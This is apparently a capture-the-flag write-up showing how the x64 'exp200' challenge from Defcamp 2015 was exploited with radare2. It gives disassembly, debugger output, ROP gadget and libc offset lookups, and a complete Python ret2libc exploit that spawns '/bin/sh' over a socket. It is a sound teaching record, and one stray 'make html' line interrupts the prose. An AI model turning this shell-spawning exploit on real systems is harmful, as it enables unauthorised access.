Title: Exploiting exp200 from Defcamp 2015 finals with radare2
Date: 2015-11-23 13:45

A [simple x64 pwning]({static}/files/exp200_defcamp2015_da61746febd7112be5b04437f6f17f5f0c37c384)
on which me and [jinblack]( https://twitter.com/JinBlackx )
spent way too much time to get a shell.

The main thing to remember here is that on the x64,
functions parameter are passed by register, and not on the stack.

```nasm
$ r2 -A ./exp200
 -- PEBCAK ERROR: Documentation not found.
[0x004004d0]> pdf @ main
╒ (fcn) sym.main 117
│           ; var int local_0_1    @ rbp-0x1
│           ; var int local_1      @ rbp-0x8
│           ; DATA XREF from 0x004004ed (sym.main)
│           ;-- main:
│           0x004005bd    55             push rbp
│           0x004005be    4889e5         mov rbp, rsp
│           0x004005c1    4883ec10       sub rsp, 0x10
│           0x004005c5    41b900000000   mov r9d, 0
│           0x004005cb    41b8ffffffff   mov r8d, 0xffffffff            
│           0x004005d1    b922000000     mov ecx, 0x22                  
│           0x004005d6    ba07000000     mov edx, 7
│           0x004005db    be00020000     mov esi, 0x200                 
│           0x004005e0    bf00000010     mov edi, 0x10000000
│           0x004005e5    e896feffff     call sym.imp.mmap
│           0x004005ea    488945f8       mov qword [rbp-local_1], rax
│           0x004005ee    488d45f8       lea rax, [rbp-local_1]
│           0x004005f2    ba00020000     mov edx, 0x200                 
│           0x004005f7    4889c6         mov rsi, rax
│           0x004005fa    bf00000000     mov edi, 0
│           0x004005ff    b800000000     mov eax, 0
│           0x00400604    e887feffff     call sym.imp.read
│           0x00400609    ba01000000     mov edx, 1
│           0x0040060e    be00020000     mov esi, 0x200                 
│           0x00400613    bf00000010     mov edi, 0x10000000
│           0x00400618    e8a3feffff     call sym.imp.mprotect
│           0x0040061d    488b45f8       mov rax, qword [rbp-local_1]
│           0x00400621    4889c2         mov rdx, rax
│           0x00400624    b800000000     mov eax, 0
│           0x00400629    ffd2           call rdx
│           0x0040062b    b800000000     mov eax, 0
│           0x00400630    c9             leave
╘           0x00400631    c3             ret
[0x004004d0]>
```

It seems that the program will `mmap` an `0x200` bytes area,
store our input on it, mark it as read-only, and calls it.

Lets see what we can control.

```nasm
$ r2 -d -b 32 ./exp200
Process with PID 25142 started...
Attached debugger to pid = 25142, tid = 25142
Debugging pid = 25142, tid = 25142 now
Using BADDR 0x400000
Assuming filepath ./exp200
bits 64
Attached debugger to pid = 25142, tid = 25142
 -- Run your own r2 scripts in awk using the r2awk program.
[0xf7dd9cd0]> dc
AAAAAAAABBBBBBBB
[+] SIGNAL 11 errno=0 addr=(nil) code=128 ret=0
Debugging pid = 25142, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x00400629]> pd 4 @ eip
            ;-- eip:
            0x00400629    ffd2           call edx
            0x0040062b    b800000000     mov eax, 0
            0x00400630    c9             leave
            0x00400631    c3             ret
[0x00400629]> dr edx
0x41414141
```

As suspected, we control `rip`, time to see what is on the stack:

```nasm
[0x00400629]> pxQ 64 @ rsp
0x7fffffffdf30 0x00007fffffffe020 r13
0x7fffffffdf38 0x4141414141414141 rdx
0x7fffffffdf40 0x4141414141414141 rdx
0x7fffffffdf48 0x4141414141414141 rdx
0x7fffffffdf50 0x00007f0a41414141 
0x7fffffffdf58 0x00007fffffffe028 r13+8
0x7fffffffdf60 0x0000000100000000 r8+1
0x7fffffffdf68 0x00000000004005bd main
```

The trick here is to keep in mind that the `call` instruction
will push its return address on the stack, so we'll have to call
a `pop;pop;ret` gadget to remove `r13` from the stack.

But since the return address of the function will be our *gadget*,
we'll need to push two garbage value before our *real* ropchain.

It was specified on the website that the challenge had ASLR
disabled, and we have a copy of the lib thanks to the previous pwning
challenge, so we won't need a leak to return to `system`.
Unfortunately, we won't be able to call the
[magic-one-shot-gimme-system-plz]({static}/files/dragons_ctf.pdf) (slide 34)
make html
gadget, since `rax` is in our case equal to zero, and this will lead to a NULL-deref.

But because we control the stack, all we have to do is to put `/bin/sh` into
`rdi`, and return to `system`.

Time to get gadgets:

```nasm
[0x004004d0]> e rop.len = 3  # we don't care about longer gadgets
[0x004004d0]> /Rl pop
0x00400513: ja 0x400517; pop rbp; ret;
0x00400521: pop rbp; mov edi, 0x601050; jmp rax;
0x00400550: jne 0x400554; pop rbp; ret;
0x00400582: pop rbp; mov byte [rip + 0x200ac6], 1; ret;
0x004005ad: call rax; pop rbp; jmp 0x400530;
0x004006a0: pop r14; pop r15; ret;
0x004006a1: pop rsi; pop r15; ret;
0x004006a3: pop rdi; ret;
[0x00020b60]> e search.maxhits = 1  # we'll take the first occurence
[0x00020b60]> / /bin/sh\x00
Searching 8 bytes from 0x00000270 to 0x005c0630: 2f 62 69 6e 2f 73 68 00 
# 7 [0x270-0x5c0630]
hits: 1
0x0018c3dd hit3_0 "/bin/sh\\u0000"
[0x00020b60]> 
```

No ASLR, so we can pick fixed locations.

```nasm
$ r2 /lib/x86_64-linux-gnu/libc.so.6
 -- This is amazing...
[0x00020b60]> is~name=system
vaddr=0x000443d0 paddr=0x000443d0 ord=1339 fwd=NONE sz=45 bind=UNKNOWN type=FUNC name=system
[0x00020b60]> 
```

Getting libc base address:

```nasm
$ r2 -d ./exp200 
Process with PID 28618 started...
Attached debugger to pid = 28618, tid = 28618
Debugging pid = 28618, tid = 28618 now
Using BADDR 0x400000
Assuming filepath ./exp200
bits 64
Attached debugger to pid = 28618, tid = 28618
 -- EIP = 0x41414141
[0x7ffff7dd9cd0]> dcp  # Continue until program code (mapped io section)
 90004 4004d0dd9d14
[0x004004d0]> dm~libc
sys 1.8M 0x00007ffff7a0f000 - 0x00007ffff7bcf000 s -r-x /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
sys   2M 0x00007ffff7bcf000 - 0x00007ffff7dcf000 s ---- /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
sys  16K 0x00007ffff7dcf000 - 0x00007ffff7dd3000 s -r-- /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
sys   8K 0x00007ffff7dd3000 - 0x00007ffff7dd5000 s -rw- /lib/x86_64-linux-gnu/libc-2.21.so /lib/x86_64-linux-gnu/libc-2.21.so
[0x004004d0]> 
```

Here is the final exploit:

```python
import struct
import socket

def rop(*args):
    return struct.pack('<Q'*len(args), *args)

popret  = 0x0000004006a3
pop2ret = 0x0000004006a1

base = 0x7ffff7a0f000
binsh = base + 0x0018c3dd
system = base + 0x000443d0

s = socket.create_connection(('localhost', 4444))

s.send(
        rop(pop2ret) +
        'A'*8 +
        'A'*8 +
        rop(popret) +
        rop(binsh) +
        rop(system) +
        '\n'
)

while True:
    s.send(raw_input('> ') + '\n')
    print s.recv(1024)
```
